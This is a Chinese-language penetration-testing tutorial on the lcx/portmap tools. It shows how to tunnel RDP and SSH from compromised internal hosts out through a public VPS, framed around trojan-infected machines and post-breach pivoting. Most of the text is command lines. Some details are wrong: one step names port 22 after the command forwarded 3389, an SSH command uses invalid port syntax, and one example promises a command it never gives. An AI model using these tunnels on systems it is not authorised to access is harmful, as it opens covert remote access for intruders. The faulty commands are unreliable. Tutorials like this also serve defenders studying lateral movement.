0x01 簡介
lcx是一款端口轉發工具,有三個功能:
- 第一個功能將本地端口轉發到遠程主機某個端口上
- 第二個功能將本地端口轉發到本地另一個端口上
- 第三個功能是進行監聽並進行轉發使用
Lcx使用的前提是在端口轉發的時候需要一台公網服務器
Lcx程序多用於被控制計算機處於內網的時候,被控制機可能中了木馬程序,雖然能夠進行控制,但還是沒有使用遠程終端登錄到本機進行管理方便,因此在很多情況下,都會想方設法在被控制計算機上開啟3389端口,然后通過lcx等進行端口轉發,進而在本地連接到被控制計算機的遠程終端並進行管理和使用。在沒有端口轉發的情況下外網主機是不能直接連接內網主機的,但是lcx工具可以將內網主機(出入內網主機的需要能夠ping通互聯網)的某個端口抓發到外網的某個端口上面,這樣的話處於外網的主機可以將映射到外網的端口再反彈到另一個外網的端口上面(用的最多的是3389),這樣我們就可以直接遠程連接反彈的端口就可以與內網主機進行通信。故內網已經打通,說實話lcx的工具如同在路由器上面做了端口轉發。
0x02 Linux下lcx使用方法
linux下的工具名稱為portmap
Usage:./portmap -m method [-h1 host1] -p1 port1 [-h2 host2] -p2 port2 [-v] [-log filename]
-v: version
-h1: host1
-h2: host2
-p1: port1
-p2: port2
-log: log the data
-m: the action method for this tool
1: listen on PORT1 and connect to HOST2:PORT2
2: listen on PORT1 and PORT2
3: connect to HOST1:PORT1 and HOST2:PORT2
1.在外網中轉服務器上運行:
./portmap -m 2 -p1 6666 -h2 118.*.*.2 -p2 7777
將本地7777端口上的服務轉發到6666端口上
2.內網需要轉發的機器上運行:
./portmap -m 3 -h1 127.0.0.1 -p1 22 -h2 118.*.*.2 -p2 6666
將本地22端口轉發到外網機器上的6666端口
3.以上兩個步驟就已經做好了端口轉發,此時,我們通過連接外網服務器的7777端口就可以連接到那台內網主機的22端口
0x03 Windows下lcx使用方法
Windows下的工具名稱為lcx
Usage:lcx-<listen|tran|slave> <option> [-log logfile]
-tran <等待連接的端口> <目標ip> <目標端口> (端口映射)
-listen <監聽slave請求的端口(對應slave 的第二個參數)> <等待連接的端口> (端口轉發)
-slave <你的ip> <監聽端口(對應listen的第一個參數)> <目標ip> <目標端口> (端口轉發)
1.在外網中轉服務器上運行:
lcx -listen 40050 10000
監聽本地40050端口,同時將數據轉發到10000端口
2.內網需要轉發的機器上運行:
lcx -slave 1.1.1.1 40050 10.10.0.3 3389
將本地的3389端口轉發到外網1.1.1.1的40050端口上
3.此時我們通過連接外網服務器的10000端口就可以連接到那台內網主機的22端口
0x04 使用示例
Lcx有它的局限性,比如原始版本不支持linux,不免殺等等,但lcx在某些特定的場合依然發揮着重要的作用。同樣基於Socket協議。
4.1 基本用法
現在有這么一個環境,內網中有一台Web服務器,但是我們處於公網,所以無法訪問該服務器。於是,我們可以在中間Web服務器上利用LCX進行端口轉發,將內網Web主機的80端口轉發到公網Web服務器的8080端口上,那么我們訪問公網Web服務器的8080端口就相當於訪問內網Web服務器的80端口。
公網web服務器的配置
lcx.exe -tran 8080 192.168.10.19 80 #將本地的8080端口轉發到192.168.10.19的80端口
當我們訪問公網服務器的8080端口時,就相當於訪問內網服務器的80端口
4.2 LCX實現本地端口轉發(Windows的場景)
我們現在拿到了一台主機的賬號、密碼和權限,現在想遠程RDP連接該主機,該主機的3389端口只對內開放,不對外開放。所以,我們可以利用lcx進行本地端口的轉發。將3389的流量轉到33389端口上。
目標機的操作,將3389端口的流量轉發給33389端口。
lcx.exe -tran 33389 127.0.0.1 3389
這個時候,只需要遠程連接目標主機的33389端口即可。
4.3 LCX實現本地端口轉發(Linux的場景)
我們現在拿到了一台主機的賬號、密碼和權限,現在想遠程SSH連接該主機,該主機的22端口只對內開放,不對外開放。所以,我們可以利用lcx進行本地端口的轉發。將2222的流量轉到22端口上。
目標機的操作,將2222端口的流量都轉發到22端口上
只需要遠程連接目標主機的2222端口即可。
4.4 LCX實現SSH到內網主機(公網服務器是Windows)
現在我們有這么一個環境,我們獲得了公網服務器的權限,並且通過公網服務器進一步的內網滲透,得到了內網主機的權限。拓撲圖如下。
於是,我們還可以利用lcx來進行22端口的轉發。
在公網windows服務器上的操作
lcx.exe -tran 2222 192.168.10.129 22
#意思就是將本地2222端口轉發給192.168.10.129主機的22號端口
所以,我們ssh連接到公網服務器的2222端口即可
4.5 LCX實現SSH到內網主機(公網服務器是Linux)
首先,在VPS上進行下面操作。監聽 2222 的流量,將其轉發給 22222 端口。相當於正向代理
./lcx -m 2 -p1 22222 -h2 127.0.0.1 -p2 2222
#將本地2222端口的流量給本地的22222端口
在內網主機上操作,將22端口的流量轉發到VPS(114.118.80.138)的22222端口。相當於反向代理
./lcx -m 3 -h1 127.0.0.1 -p1 22 -h2 114.118.80.138 -p2 22222
#將本地22端口的流量給114.118.80.138的22222端口
我們連接VPS的2222端口,就相當於連接了內網主機的22端口。
ssh root@114.118.80.138 2222
#連接到114.118.80.138的2222端口
0x05 參考鏈接
https://blog.csdn.net/stonesharp/article/details/56834347
https://blog.csdn.net/l957456849/article/details/81610648
https://blog.csdn.net/wyvbboy/article/details/61921773
https://blog.csdn.net/qq_36119192/article/details/84568266#LCX實現端口轉發